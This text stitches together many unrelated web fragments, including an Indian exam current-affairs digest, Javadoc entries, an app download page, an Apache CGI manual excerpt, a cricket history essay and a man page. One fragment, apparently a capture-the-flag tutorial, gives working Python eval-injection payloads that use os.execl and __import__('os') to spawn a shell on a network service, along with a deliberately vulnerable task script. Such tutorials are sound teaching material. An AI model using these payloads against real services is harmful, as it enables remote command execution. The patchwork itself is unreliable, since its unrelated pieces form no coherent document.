- The Kejriwal government wants the Supreme Court to lay down the law on whether the LG can unilaterally administer the National Capital without being bound by the “aid and advice” of the elected government.
In news:
Justice D.Y. Chandrachud oral observations regarding the role of The Lieutenant Governor:
- The Lieutenant Governor (LG) of Delhi cannot stultify proposals or schemes forwarded by the Council of Ministers to him by simply sitting on them.
- The LG is bound to pass the difference of opinions [between the LG and the Delhi Council of Ministers] to the President for early resolution.
Constitutional Status:
- The 69th Amendment of the Constitution in 1992 gave the National Capital of Delhi special status with its own democratically elected government and legislative assembly.
- Sub-section (4) of Article 239AA mandates that a Council of Ministers shall aid and advice the LG in his functions regarding laws made by the Legislative Assembly.
Various opinions:
- The Constitution Bench, led by Chief Justice Dipak Misra, prima facie said that the Delhi government’s ability to “aid and advice” the LG is limited to subjects other than public order, police and land in the National Capital. It said that the proviso to Article 239AA (4), on plain reading, seems to give primacy to the LG.
- Justice Ashok Bhushan remarked that the LG is entitled to take a different view and is not bound by the aid and advice of the Delhi Cabinet.
Counter arguments:
- Subramanium alleged that the LG has misused the discretion in this proviso to block governance to such an extent that decisions from appointment of teachers in municipal schools to opening of mohalla clinics have been pending for over a year.
- The Chief Secretary and other officers, without applying their minds to the various welfare proposals and schemes, simply forward the files to the LG, where it remains indeterminately.
- The “extraordinary discretion” of the LG is confined to special circumstances and not in everything.
2. All physical contact not harassment: Delhi HC
3. Finance Commission’s changing roles, challenges over the years
Context:
- The government will soon constitute the Fifteenth Finance Commission, as per normal practice, a couple of years before the end of the five-year period during which the Commission’s recommendations are valid.
Constitutions provisions:
- Article 280 of the Constitution requires that a Finance Commission be constituted to recommend the distribution of the net proceeds of taxes between the Centre and states, and among the states.
- The framers of the Constitution were seeking to address the vertical imbalance between the taxation powers and expenditure and responsibilities of the federal government and the states, and the horizontal imbalance, or inequality, between states that were at different stages of development.
- Ensuring inclusiveness is, therefore, a key mandate of the Finance Commission.
- That means assigning weights to things like population, the fiscal distance between the top ranked states and the others, etc. It is not that the best-performing state will be allocated the highest share – even if delivery execution and governance are better – rather, the effort will be to narrow the development gap between states.
- The Finance Commission Rules, 1951, lay down the criteria for being members of the constitutional body: those having special knowledge of finance and accounts of government with wide knowledge and experience in financial matters and in administration, or with special knowledge of economics, and those who have been qualified to be appointed as a judge of a High Court.
Challenges ahead:
- As the Fifteenth Commission is set to be appointed, the criteria for distribution will be reviewed.
- The question is whether the commission will take into account the level of collections by each state after the roll out of the GST or not?
- The challenge this time will be the fact that unlike in the past, the share of net tax proceeds between the central government and states is almost equal.
- After the last Commission’s recommendation to distribute 42%, raising the bar on higher transfer of resources will have a much bigger impact on the federal government.
- The twelfth Finance Commission had suggested that it was time now to perhaps look at a Constitutional amendment to fix a ceiling on the distribution of the net tax proceeds, with the Finance Commission arbitrating on distributing tax proceeds among states.
- The Commission itself reckons that its biggest role has been to uphold the country’s federal structure, and to be an architect of fiscal restructuring – from being mainly an arbitrator between the Centre and states.
Category: INTERNATIONAL RELATIONS
1. India hits out at China’s stance, as Beijing blocks UN move against Azhar
In news:
- China once again blocked an attempt by the U.S., U.K., and France to place Masood Azhar in the list of global terrorists of the Al Qaeda Sanctions Committee of the UN Security Council citing “no consensus” as a ground for its objection.
- India’s response:
- India hit out at double standards in the war on terrorism, hours after China blocked a move at the United Nations Security Council to place Masood Azhar, the Pakistan-based chief of the Jaish-e-Mohammed, in a list of global terrorists.
- India’s strong response did not name China but hinted at “one country” that had hurt the global campaign to ban the terror mastermind who is blamed for several attacks against India, including the Pathankot airbase attack of 2016.
1. India falls to 108 on World Economic Forum’s gender gap index
Context:
- Global Gender Gap Report
- Report published by World Economic Forum
Highlights of the report:
- According to the report, the gap between the achievements and well-being of men and women widened in the past year
- At current rates, it will take 100 years before women achieve equality in the four areas
measured by the WEF:
- Political empowerment
- Economic participation
- Health
- Education
Rankings:
- The US fell to 49th among the 144 countries ranked, down from 45th last year and 23rd just 11 years ago. The country is only 77% of the way to gender parity in economic opportunity, a gap that’s been narrowing, but not as quickly as in other countries.
- India, which sank to No. 108 overall, down 10 places from 2006 was the reverse of the US, with high rankings for women’s political empowerment but near the bottom in health, education and economic participation. Economics is a particular area of concern, because women do a disproportionate amount of unpaid work, like childcare.
- Ranked 100 overall, China was No. 144—dead last—for gender parity when it came to women’s health. One metric was life expectancy: Chinese women outlive men by less than two years on average, compared with a global average of five years. While about 70 percent of Chinese women participate in the work force, they earn only 64% of men’s wages.
- Women in No. 1 ranked Iceland, for instance, may soon be equal to men in their contribution to the national economy
1. India offers to share real-time maritime data
Nothing here for Today!!!
|
Nothing here for Today!!! |
F. Practice Questions for UPSC Prelims Exam
Question 1. The Global Gender Gap Report is published by
- World Economic Forum
- World Bank
- IMF
- International Labour Organisation
See
Question 2. Cereal(s) grown by the people of the Harappan Civilisation was/were
- Wheat
- Rice
- Millet
- All the above
See
Question 3. Identify the correct sequence of passing a Budget in the Parliament
- Vote on Account-Finance Bill-Appropriation Bill-Discussion on Budget
- Finance Bill- Appropriation. Bill Discussion on Budget-Vote on Accounts
- Discussion on Budget-Vote on Account-Finance Bill-Appropriation Bill
- Discussion on Budget-Appropriation Bill-Finance Bill-Vote on Account
Question 4. The Reserve Bank of India issues:
- All the currency notes
- All the currency notes except the one rupee note
- All the currency notes except the hundred rupee note
- Only notes of Rs. 10 and above
Question 5. 'Repo rate' is the rate at which:
- The Reserve Bank of India lends to State Government
- The international aid agencies lend to Reserve Bank of India
- The Reserve Bank of India lends to banks
- The banks lend to Reserve Bank of India
G. UPSC Mains Practice Questions
GS Paper II
- Hard power without soft power stirs up resentments and enmities; soft power without hard power is a confession of weakness. Critically Analyze.
GS Paper III
- “Gender equality has to be looked at in a holistic way” Discuss.
Also, check previous Daily News Analysis
“Proper Current Affairs preparation is the key to success in the UPSC- Civil Services Examination. We have now launched a comprehensive ‘Current Affairs Webinar’. Limited seats available. Click here to Know More.”
Enroll for India’s Largest All-India Test Series


- cancel() - Method in interface controller.Command
-
Undoes all the effects of the command.
- cancel() - Method in class controller.CommandAddDelivery
-
- cancel() - Method in class controller.CommandAddDeliveryToDeliveryRequest
-
- cancel() - Method in class controller.CommandChangeCircuit
-
- cancel() - Method in class controller.CommandDeleteDelivery
-
- cancel() - Method in class controller.CommandMoveDeliveryAfter
-
- cancel() - Method in class controller.CommandMoveDeliveryBefore
-
- canRedo() - Method in class controller.CommandsList
-
Returns a boolean that says whether any command is currently redo-able
- canRedo() - Method in class controller.Controller
-
Checks whether there is any action to redo
- canUndo() - Method in class controller.CommandsList
-
Returns a boolean that says whether any command is currently undo-able
- canUndo() - Method in class controller.Controller
-
Checks whether there is any action to undo
- center(Geolocation, Geolocation) - Static method in class model.Geolocation
-
Computes a Geolocation located in the middle point of two Geolocations
- changeCircuit(Delivery, Circuit, Circuit) - Method in class controller.Controller
-
Moves a delivery from a circuit to an other circuit
- changeCircuit(Delivery, Circuit, Circuit) - Method in interface controller.State
-
Moves a delivery from a circuit to another circuit.
- changeCircuit(Delivery, Circuit, Circuit) - Method in class controller.StateCircuitsComputed
-
- changeCircuit(Delivery, Circuit, Circuit) - Method in class controller.StateDefault
-
- chercheSolution(int, int, int[][], int[]) - Method in class tspImproved.TemplateTSP
-
- chercheSolution(int, int, int[][], int[]) - Method in interface tspImproved.TSP
-
Cherche un circuit de duree minimale passant par chaque sommet (compris
entre 0 et nbSommets-1)
- Circuit - Class in model
-
This class represents a circuit composed by deliveries and trips between them
- Circuit() - Constructor for class model.Circuit
-
Create a circuit.
- Circuit(Circuit) - Constructor for class model.Circuit
-
- CircuitComputer - Class in model.computers
-
- CircuitComputer() - Constructor for class model.computers.CircuitComputer
-
- CityMap - Class in model
-
This class represents a map containing the road sections and intersections
- CityMap() - Constructor for class model.CityMap
-
Default constructor that creates empty lists of sections and
intersections
- CityMapContainerView - Class in view
-
- CityMapContainerView(Window, Controller) - Constructor for class view.CityMapContainerView
-
- CityMapMenuView - Class in view
-
This class extends a panel containing the menu with all available options
Contains the declaration of buttons and fields necessary to perform different operations (loading, adding new delivery, etc.)
- CityMapMenuView(Window, Controller) - Constructor for class view.CityMapMenuView
-
- code - Variable in enum error.ProjectError
-
- colors - Variable in class view.Window
-
- Command - Interface in controller
-
The command interface represents objects that have a do and cancel action.
- CommandAddDelivery - Class in controller
-
- CommandAddDelivery(Delivery, Circuit) - Constructor for class controller.CommandAddDelivery
-
Create an add delivery command that adds a delivery to a circuit when
executed (and removed when cancelled)
- CommandAddDeliveryToDeliveryRequest - Class in controller
-
- CommandAddDeliveryToDeliveryRequest(Delivery, Circuit) - Constructor for class controller.CommandAddDeliveryToDeliveryRequest
-
- CommandChangeCircuit - Class in controller
-
- CommandChangeCircuit(Delivery, Circuit, Circuit) - Constructor for class controller.CommandChangeCircuit
-
Create a move delivery command that moves a delivery from a circuit to an
other when executed (and revert it when cancelled)
- CommandDeleteDelivery - Class in controller
-
- CommandDeleteDelivery(Delivery, Circuit) - Constructor for class controller.CommandDeleteDelivery
-
- CommandMoveDeliveryAfter - Class in controller
-
- CommandMoveDeliveryAfter(Delivery, Circuit) - Constructor for class controller.CommandMoveDeliveryAfter
-
- CommandMoveDeliveryBefore - Class in controller
-
- CommandMoveDeliveryBefore(Delivery, Circuit) - Constructor for class controller.CommandMoveDeliveryBefore
-
- CommandsList - Class in controller
-
Represents the collection of the commands successively executed that can be
undone or redone.
- CommandsList() - Constructor for class controller.CommandsList
-
- computeAllShortestPaths() - Method in class model.computers.ShortestPathComputer
-
- computeCircuits(int) - Method in class controller.Controller
-
Computes a set of circuits given the wanted number of circuits
- computeCircuits(Controller) - Method in interface controller.State
-
Computes circuits from a delivery request.
- computeCircuits(Controller) - Method in class controller.StateCircuitsComputed
-
- computeCircuits(Controller) - Method in class controller.StateDefault
-
- computeCircuits(Controller) - Method in class controller.StateDeliveryRequestLoaded
-
- computeCircuits() - Method in class model.Model
-
Compute the circuits it can be quite long for large groups of deliveries
- computeClustersQuality(Pair<LinkedList<LinkedList<Delivery>>, Geolocation[]>) - Method in class model.computers.CircuitComputer
-
Computes the quality of a set of clusters adding the distance between
each delivery and its cluster center.
- computeDeliveryRequestGeolocation(CityMap) - Method in class model.DeliveryRequest
-
Method matches the addresses of the deliveries in the request to intersections of the cityMap
in which it's supposed to be located.
- computeLength() - Method in class model.computers.ShortestPathComputer.IntermediateResult
-
- computeShortestPaths() - Method in class model.Model
-
Compute the shortest paths between deliveries
- controller - package controller
-
- Controller - Class in controller
-
This class is the global controller of the system.
- Controller() - Constructor for class controller.Controller
-
- copy() - Method in class model.Geolocation
-


Covid Daily is an app that allows people to track COVID-19 cases in an easy-to-use interface to increase awareness. Unfortunately, Play Store has rejected Covid Daily as the Play Store Review Guidelines require that medical apps are published by medical institutions, so we've open sourced Covid Daily with the intent that people can use it.
Install Instructions:
- Click on the DOWNLOAD button to download this app "COVIDDaily.apk".
- Open "CovidDaily.apk" file and Install it on your device.
- If installation is restricted by your device, go to settings and enable Install Unknown Apps (or Install Other Apps)
- This app uses internet to get updates about COVID-19 cases.
- Share with others and spread awareness.
App is under Maintenance.
Features:
- Shows data for the nation along with it's states and union territories. Also includes data in district wise manner.
- Has a user friendly interface.
- Follows symptom and precaution details as prescribed by WHO.
- Pictorial representation of symptoms and precautions.
- Allows to share data for each state and union territory.


{{repo.name}}
Created: {{repo.created_at | date}}
Last update: {{repo.updated_at | date}}
Private Repo
Public Repo
Description:
{{repo.description}}
Created: {{repo.created_at | date}}
Last update: {{repo.updated_at | date}}
Private Repo
Public Repo
Description:
{{repo.description}}


Have you always wanted to live forever? I might have the solution for you! I want to produce an elixir that basically makes you look young forever. Preserve the young beauty your body deserves. I think we would all appreciate such a potion.
Do you have moments where you regret a decision? Well do I have the solution for you. A time machine will allow you to change your past and create a brighter and better future for yourself. I am currently working on the world's first time machine and would welcome feedback from fellow time-travel enthusiasts!
Have you ever been tired of walking? Is the ground too dirty for you? Try the hover board where it lifts you off the ground and takes you anywhere! Made to be aerodynamic and completely supported by rocket propulsion, this gadget ain't no toy.
Tired of sitting in the dark? Here is the solution to your dark problems. Help me develop a light bulb in order to brighten up people's nights. This light bulb will change between multiple colours and be able to alert you when it only has 10% life left.


This assignment was a fun refresher in using unaugmented HTML. I didn't really learn a whole lot of new information, but it was a nice reminder as I haven't worked with web-based code in a while :)
Aside from the information presented in lecture, I was fairly well versed in the construction of webpages and only needed to seek out new information in regards to adding unicode emojis to my blog.


Building a Contact Form with API Gateway and SES
Fill out this form and submit to API Gateway!
First name
Email
Message
Submit form


Click spheres to rotate. Click box to rotate about intersection point.
Camera | Orbit: Left click / 1 finger | Pan: Right click / 2 fingers | Zoom: Mouse wheel / pinch
Pointer to trackball mapping method: Raycast Holroyd Shoemake Azimuthal
Relatively spin when pointer off trackball:


Almost 900,000 Ukrainian labor migrants working in Poland
Ukrainians make up 90% of labor migrants in Poland.
Deputy Director of the Economic Analysis Department of the National Bank of Poland Jacek Kotłowski has said almost 900,000 Ukrainian labor migrants are working in Poland.
"Tensions in the labor market are significantly reduced due to an influx of immigrants... As of today, almost 900,000 immigrants have arrived from Ukraine alone, as well from other countries, including Belarus. It seems to us that there are already over 1 million effectively employed immigrants in the Polish economy," he said at a press conference, according to RFM 24.
As UNIAN reported earlier, the Czech Republic in August doubled a quota for the employment of Ukrainian workers from 19,600 to 40,000 people.
It was noted earlier, the Czech Republic had programs for hiring middle-level specialists, as well as workers without experience for agriculture. Now, Ukrainians are invited to key positions and as scientific personnel.


Detection of COVID-19 from chest X-Ray
Dataset
Resourses
About
SELECT X-RAY
Drag and drop a file or select add Image
Submit
{% if your_result %}
RESULT :
{{ your_result['caption'] }}
{% endif %}


Rng 76 - Hunt for the TSE Version History
Version
Date
Notes
28
January 29, 2019
[Fo76 Patch 5] Cryolators, Flamers, Lasers, Plasmas can no longer drop as Explosive. It is unclear if Tesla & Assaultrons are affected or not.


Jaime Sepulveda
1905 County Championship
The Egyptian Gazette provides insight to the lives of people living in Alexandria, Egypt in the early 20th century. An activity of importance to these people is sports, particularly the sport of cricket, with weekly updates of game results. The 1905 home cricket season is documented in the Egyptian Gazette, which normally includes a small “Sport and Play” section usually on the third page of each Monday edition dedicated to reporting on a number of sports including cricket. A reading of this section over the 1905 editions of the Egyptian Gazette provides a description of the teams and players participating in the 1905 County Championship.
The League
After a reading of the home cricket sections of the 1905 editions of the Egyptian Gazette, the home cricket league, which is referred to as the “County Championship”, began in the spring and ended in the fall, which the first game being documented on 27 April and the last on 1 September. There are no playoffs, the champion is simply the team with the most “points” at the end of the season. A point is gained for a win, and taken away for a loss, with ties and draws having no effect. The type of cricket played is referred to as “First-class cricket”, which means that matches last at least three days and explaining the large margin of victories, often over 200 runs. The County Championship is based in England and Wales, and is reported on in the Egyptian Gazette as entertainment for the British forces occupying Egypt during this time.
Upon further research of the County Championship, the league had its debut season in 1890, initially with eight teams. The league is still active today in 2017, expanding to 18 teams over the years. The 1905 County Championship was the sixteenth officially organized running of the County Championship.
The Teams
The teams are all based in England and Wales. The teams mentioned in the newspaper include: Yorkshire, Somerset, Surrey, Essex, Lancashire, Leicestershire, Gloucestershire, Middlesex, Warwickshire, Sussex, Hampshire, Derbyshire, Kent, Northamptonshire, Nottinghamshire, and Worcestershire. A total of 16 teams. They are distributed all throughout England and Wales as shown:
Further research of these teams shows that Gloucestershire, Kent, Lancashire, Middlesex, Nottinghamshire, Surrey, Sussex, and Yorkshire were the original eight teams in 1890. Derbyshire, Essex, Hampshire, Leicestershire, and Warwickshire joined in 1895, and Worcestershire in 1899. Northamptonshire joined just prior to the 1905 season, so this season is their inaugural season. The previous season ended with Lancashire as the winners, so they will go into the 1905 season as the defending champions.
The Standings
After going through each reporting of the results of the County Championship of the 1905 editions of the Egyptian Gazette, the following table of the standings can be gathered:
Draws are referred to any game in which the game could not be played or finished, which seems to have been quite common during this time because of either weather or because of the lack of field lights to allow games to be played at night. Several games were postponed throughout the season because of rain. On 1 September, Yorkshire was crowned the champion of the 1905 County Championship, with the runners-up being Sussex and defending champions Lancashire. Scores of the games varied greatly, with the largest margin of victory being a Sussex 306 run thrashing of Kent on 22 June, and the closest game being a tie between Surrey and Kent being recorded on 17 August.
Players
Several mentions of notable players are occasionally made throughout the year, with sometimes the top three scoring bowlers and top three scoring batsmen being listed. This was more common during international play, in which team England would often play against team Australia. Team England was sort of an “All-Star” team of the County Championship. A recurring name was that of C.B. Fry, the star player for Sussex and had the highest average run total per game for the 1905 season. Fry, born in 1872 in London, was more than just a star cricketer; he was a politician, diplomat, academic teacher, writer, editor, and publisher. Another notable player was David Denton of Yorkshire, leading scoring batsman for the league, who won the Wisden Cricketer of the Year award for the 1905 season along with top bowler Walter Lees of Surrey, George Thompson of Northamptonshire, Joe Vine of Sussex, and Levi Wright of Derbyshire.


runtime.timeHistogram.counts (field)
5 uses
runtime (current package)
histogram.go#L73: counts [timeHistNumSuperBuckets * timeHistNumSubBuckets]uint64
histogram.go#L98: if superBucket*timeHistNumSubBuckets >= uint(len(h.counts)) {
histogram.go#L114: atomic.Xadd64(&h.counts[superBucket*timeHistNumSubBuckets+subBucket], 1)
metrics.go#L134: for i := range memstats.gcPauseDist.counts {
metrics.go#L135: hist.counts[i+1] = atomic.Load64(&memstats.gcPauseDist.counts[i])
The pages are generated with Golds v0.2.7-preview. (GOOS=darwin GOARCH=amd64)


Step ten: adding the articulation signs to your encoding of the example.
Awesome! You have encoded the whole melodic line of the example. Now, let's consider the missing additional elements, such as dynamics, slurs or accents, step by step.
Articulations, i.e. indications of how to play a note or chord, can be encoded with <artic>
elements that are applied as children to <note>
elements.
The following attributes on <artic>
should be used in this tutorial step:
@artic
(articulation type) – the type of articulation mark, e.g.: accent “acc”
, staccato “stacc”
, tenuto “ten”
, use “acc”
here,@place
– position of the articulation sign, “above”
or “below”
the staff, use “above”
here.Please find the <note>
elements in the example to which articulations are assigned (there are musical accents on the dotted quarter notes in measure 1 & 2 as well as on the quarter note in measure 3). Add a child element <artic>
to these <note>
elements and apply the corresponding attributes (@artic
, @place
).


mod_cgi.c
file, and
is compiled in by default. It provides for execution of CGI scripts.
Any file with mime type application/x-httpd-cgi
will be
processed by this module.
application/x-httpd-cgi
or handler cgi-script
(Apache 1.1 or later)
will be treated as a CGI script, and run by the server, with its output
being returned to the client. Files acquire this type either by
having a name ending in an extension defined by the
AddType directive, or by being in
a ScriptAlias directory.
When the server invokes a CGI script, it will add a variable called
DOCUMENT_ROOT
to the environment. This variable will contain the
value of the DocumentRoot
configuration variable.
HostnameLookups
is set to on
(it is off by default), and if a reverse DNS
lookup of the accessing host's address indeed finds a host name.
on
and the accessing host supports the ident protocol. Note that the contents
of this variable cannot be relied upon because it can easily be faked, and if
there is a proxy between the client and the server, it is usually
totally useless.
%% [time] request-line %% HTTP-status CGI-script-filenameIf the error is that CGI script cannot be run, the log file will contain an extra two lines:
%%error error-messageAlternatively, if the error is the result of the script returning incorrect header information (often due to a bug in the script), the following information is logged:
%request All HTTP request headers received POST or PUT entity (if any) %response All headers output by the CGI script %stdout CGI standard output %stderr CGI standard error(The %stdout and %stderr parts may be missing if the script did not output anything on standard output or standard error).
The ScriptLog directive sets the CGI script error logfile. If no ScriptLog is given, no error log is created. If given, any CGI errors are logged into the filename given as argument. If this is a relative file or path it is taken relative to the server root.
This log will be opened as the user the child processes run as, ie. the user specified in the main User directive. This means that either the directory the script log is in needs to be writable by that user or the file needs to be manually created and set to be writable by that user. If you place the script log in your main logs directory, do NOT change the directory permissions to make it writable by the user the child processes run as.
Note that script logging is meant to be a debugging feature when writing CGI scripts, and is not meant to be activated continuously on running servers. It is not optimized for speed or efficiency, and may have security problems if used in a manner other than that for which it was designed.
ScriptLogLength can be used to limit the size of the CGI script logfile. Since the logfile logs a lot of information per CGI error (all request headers, all script output) it can grow to be a big file. To prevent problems due to unbounded growth, this directive can be used to set an maximum file-size for the CGI logfile. If the file exceeds this size, no more information will be written to it.
The size of any PUT or POST entity body that is logged to the file is limited, to prevent the log file growing too big too quickly if large bodies are being received. By default, up to 1024 bytes are logged, but this can be changed with this directive.


FONTTOSFNT(1) FONTTOSFNT(1) NAME fonttosfnt - Wrap a bitmap font in a sfnt (TrueType) wrapper SYNOPSIS fonttosfnt [ options ] -o file.ttf [ -- ] font... DESCRIPTION Wrap a bitmap font or a set of bitmap fonts in a sfnt (TrueType or Open‐ Type) wrapper. OPTIONS -v Be verbose. -c Do not crop glyphs. This usually increases file size, but may sometimes yield a modest decrease in file size for small character cell fonts (terminal fonts). -b Write byte-aligned glyph data. By default, unaligned data is written, which yields a smaller file size. -r Do not reencode fonts. By default, fonts are reencoded to Unicode whenever possible. -g n Set the type of scalable glyphs that we write. If n is 0, no scalable glyphs are written; this is legal but confuses most cur‐ rent software. If n is 1, a single scalable glyph (the undefined glyph) is written; this is recommended, but triggers a bug in cur‐ rent versions of FreeType. If n is 2 (the default), a suffi‐ ciently high number of blank glyphs are written, which works with FreeType but increases file size. -m n Set the type of scalable metrics that we write. If n is 0, no scalable metrics are written, which may or may not be legal. If n is 1, full metrics for a single glyph are written, and only left sidebearing values are written for the other glyphs. If n is 2, scalable metrics for all glyphs are written, which increases file size and is not recommended. The default is 1. -- End of options. BUGS Some of the font-level values, notably sub- and superscript positions, are dummy values. SEE ALSO X(7), Xserver(1), Xft(3x). Fonts in X11. AUTHOR The version of Fonttosfnt included in this X.Org Foundation release was originally written by Juliusz Chroboczek<EMAIL_ADDRESS>for the XFree86 project. X Version 11 fonttosfnt 1.0.4 FONTTOSFNT(1)


15. July 2017
Ali Agha organizes “POMDPs in Robotics{:} State of The Art, Challenges, and Opportunities” workshop in RSS 2017
14. April 2017
Ali Agha organizes “Southern California Robotics Symposium” at USC
18. June 2017
Paper titled “Decentralized control of multi-robot partially observable Markov decision processes using belief space macro-actions” a collaborative work with MIT got accpeted in IJRR
15. July 2017
Paper titled: Real-Time Stochastic Kinodynamic Motion Planning via Multiobjective Search on GPUs a collaborative work with Marco Pavone in Stanford got accepted to ICRA 2017 (arxiv version )


Menu
Store
Hats & Beanies
Apparel
Headphones
Book Bags
Electronics
book studio
beats
music
Podcast
about
Free Music Contracts
The Team
Prices
Jobs
Services
About
MLS Store
MLS Logo Beanie - Camo Green
$20.00
Buy Now
MLS Logo Hoodie - Black
$36.00
Buy Now
MLS Black & White Slides
$99.00
Buy Now
MLS Camo Green Book Bag
$45.00
Buy Now
Studio Life White Hats
$34.99
Buy Now
MLS Yellow & Black Book Bag
$40.00
Buy Now
Our Services
Mixing
Book Today
Recording
Book Today
Production
Book Today


Syncing Ship 2.0
Home
About
Contact
Templates
Vital Signs
Glucose Monitor
Patient1
Not iAdmit
Demographics
Name
First Name
Last Name
Date of Birth
Patient Vital Signs
Date
Time
Degrees (F)
Systolic
Diastolic
Pulse Rate
Respiration Rate
Weight (lb)
Pulse Ox
Peak Flow
Comments
Your data has been submitted!
Data submission failed!
Submit


Looks like you've got the basics down! Time to introduce a new tool: locals()
and globals()
.  For example, in a Python interpreter:
>>> locals() {'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, '__package__': None} >>> x = 4 >>> y = 5 >>> locals() {'__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'x': 4, 'y': 5, '__name__': '__main__', '__doc__': None} >>> locals()['x'] + locals()['y'] 9 >>> locals() == globals() # This is true outside functions True >>>
You can google for examples on their normal usage, and play around with them a bit in the Python interpreter.
Do you remember the code for example1.py? It doesn't matter. This is what happens if you type locals()
at the prompt:
$ python ./example1.py Guess the number! 1 to 100. Your guess> locals() Nope, {'guess': {...}, 'randint': <bound method Random.randint of <random.Random object at 0x7faada071820>>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': './example1.py', '__package__': None, 'num': 35, '__name__': '__main__', '__doc__': None} is wrong.  We didn't even need to see the source to know that there was a variable named num
!
There's more sorts of introspection you can do in Python: vars
, __dict__
, func_globals
and __subclasses__
come to mind. If you google about more information on those, you may find them useful in the tasks to come!
When a hacker exploits an eval
vulnerability in the real world, it's probably not to read some magic_number
variable. Instead, the goal to gain full control over the computer. Consider the following example:
# example2.py import os print "What files do you want?" files = input('list> ') for name in files: if os.path.exists(name): with open(name) as f: print f.read() else: print name, "does not exist!"
This script just prints out files, which in many circumstances would be a security vulnerability in itself! However, it's a lot worse then that, due to the os
module being available to use:
$ python example2.py What files do you want? list> os.system("echo 'I have a shell.'") I have a shell. Traceback (most recent call last): File "example2.py", line 5, in <module> for name in files: TypeError: 'int' object is not iterable $
The os.system
pretty much just takes a string an runs it as a shell command&emdash;which, as you may know, allows you to do anything on the system. This isn't very interesting here because we already had a shell (the one where we ran python example2.py
on), but if a python network service using os
and eval
were running on a network...
$ nc pyservice.example.com 1234 What files do you want? list> os.execl('/bin/sh','sh') sh-3.2$ echo "I have a shell." I have a shell. sh-3.2$ exit exit $
Here, I used the os.execl
functions. The exec
family of functions essentially replace the service with another program, which we can choose to be a UNIX shell program; it's a little weird and you can read more about it on Wikipedia. This is more convenient than os.system
in some cases.
One last thing to know about: scripts aren't safe just because they don't have import os
anywhere, because we can import os
ourselves! Consider the following example (which is similar to example2.py):
# example3.py print "What files do you want?" files = input('list> ') for name in files: try: with open(name) as f: print f.read() except: print name, "does not exist!"
Just entering import os
won't cut it, because import os
is a statement and not an expression:
$ python example3.py What files do you want? list> import os Traceback (most recent call last): File "example3.py", line 3, in <module> files = input('list> ') File "<string>", line 1 import os ^ SyntaxError: invalid syntax $
Luckily for us, there's a built-in function called __import__
that does pretty much what we want it to.
$ python example3.py What files do you want? list> __import__('os').execl('/bin/sh','sh') sh-3.2$ echo 'I win again' I win again sh-3.2$ exit exit $
This time, there's no secret flag
variable to read; your goal is to get a shell, ls
to see which files you can access, and cat
out the key from one of those files. Because __import__('os').execlp('sh','sh')
is a little too easy, I've made this problem harder by hindering your ability to __import__
. Some people used to think that tricks like this could make eval
safe... but if you apply the techniques I've discussed above, it's not going to keep eval
safe from you :)
Connect to this script at nc python.picoctf.com 6363
.
# task3.py # Remember kids: this is bad code. Try not code like this :P from os import path del __builtins__.__dict__['__import__'] del __builtins__.__dict__['reload'] print "Welcome to the food menu!" choices = ( ("Chicken Asada Burrito", 7.69, "caburrito.txt"), ("Beef Chow Mein", 6.69, "beefchow.txt"), ("MeatBurger Deluxe", 10.49, "no description"), # ... ) def print_description(n): print "" if n >= len(choices): print "No such item!" elif not path.exists(choices[n][2]): print "No description yet, but we promise it's tasty!" else: print open(choices[n][2]).read() def show_menu(): for i in xrange(len(choices)): print "[% 2d] $% 3.2f %s" % (i, choices[i][1], choices[i][0]) while True: print "Which description do you want to read?" show_menu() print_description(input('> '))


Home
About Us
Shop
Contact
Vendors
Blog
The Best ever Cupcakes!
Cupcake Styles
- Plain
- Vanilla, our featured cupcake
- Chocolate
- Strawberry
- Red Velvet
- Cherry
Frosting Styles
Different Styles of frosting, in order of preference
- Sprinkles
- Flavor Swirls
- Filling


git log -1
commit 004f810ab7b928b3435938bf8105fa0f1dc197a6 (HEAD -> master, origin/master, origin/HEAD)
Merge: d343bdfe7 deb873b76
Author: blackjok3r<EMAIL_ADDRESS>Date: Wed Oct 30 23:45:26 2019 +0800
Merge branch 'master' of https://github.com/KMDLabs/komodo


Reliable and Smart
This is due to their excellent service, competitive pricing and customer support. It’s throughly refresing to get such a personal touch. Duis aute lorem ipsum is simply free text irure dolor in reprehenderit in esse nulla pariatur.
aleesha brown
customersThis is due to their excellent service, competitive pricing and customer support. It’s throughly refresing to get such a personal touch. Duis aute lorem ipsum is simply free text irure dolor in reprehenderit in esse nulla pariatur.
aleesha brown
customersThis is due to their excellent service, competitive pricing and customer support. It’s throughly refresing to get such a personal touch. Duis aute lorem ipsum is simply free text irure dolor in reprehenderit in esse nulla pariatur.
aleesha brown
customersThis is due to their excellent service, competitive pricing and customer support. It’s throughly refresing to get such a personal touch. Duis aute lorem ipsum is simply free text irure dolor in reprehenderit in esse nulla pariatur.
aleesha brown
customersThis is due to their excellent service, competitive pricing and customer support. It’s throughly refresing to get such a personal touch. Duis aute lorem ipsum is simply free text irure dolor in reprehenderit in esse nulla pariatur.


| ths |
Theis (1935) -Ideal confined aquifer |
| thc |
Theis (1941) -Linear constant head boundary |
| thn |
Theis (1941) -Linear no flow boundary |
| pca |
Papadopulos and Cooper (1967) -Large diameter well: 1 storativity |
| pcb |
Papadopulos and Cooper (1967) -Large diameter well: 2 storativities |
| aga |
Agarwal et al (1980) -Large diameter well with skin |
| jcb |
Cooper and Jacob (1946) -Ideal confined aquifer |
| del |
Delay (2004) -Fractal with anomalous diffusion |
| grf |
Barker (1988) -General Radial Flow |
| htj |
Hantush (1956) -Leaky aquifer |
| war |
Warren and Root (1965) -Double porosity |
| blt |
Boulton (1963) -Unconfined aquifer with delayed yield |
| grg |
Gringarten and Ramey (1974) -Vertical fracture of infinite conductivity |


-
Conference Hall - Ranging 200 people
-
Paray Village County
-
Paray Village County - Reception
-
Luxury Rooms - Luxurious and Comfortable
-
Multi-Cuisine Restaurant - Chinese, Continental and Indian dishes
-
Conference Hall - Ranging 200 people
-
Paray Village County


§580-75 Status of spouse during separation. Every decree of separation shall have the effect of allowing each of the spouses to sue or be sued, to alienate and convey property, to make contracts, and to do all other acts as if the spouse were an unmarried person. [CC 1859, §1339; RL 1925, §2990; RL 1935, §4487; RL 1945, §12339; RL 1955, §324-64; HRS §580-75; am L 1984, c 158, §1]
Case Notes
Effect of separation upon the parties. 42 H. 279.


Check out all about the services that we provide and you decide Whether we are good enough for your pet.
check out our most safe
grooming services which your pet truely deserves.
Worried about your pet
when you are out of station?
Leave them at good hands.


hydrus.hydraspec.legacy package¶
hydrus.hydraspec.legacy.crud_template module¶
hydrus.hydraspec.legacy.parser module¶
This is an interface to Python’s internal parser.
-
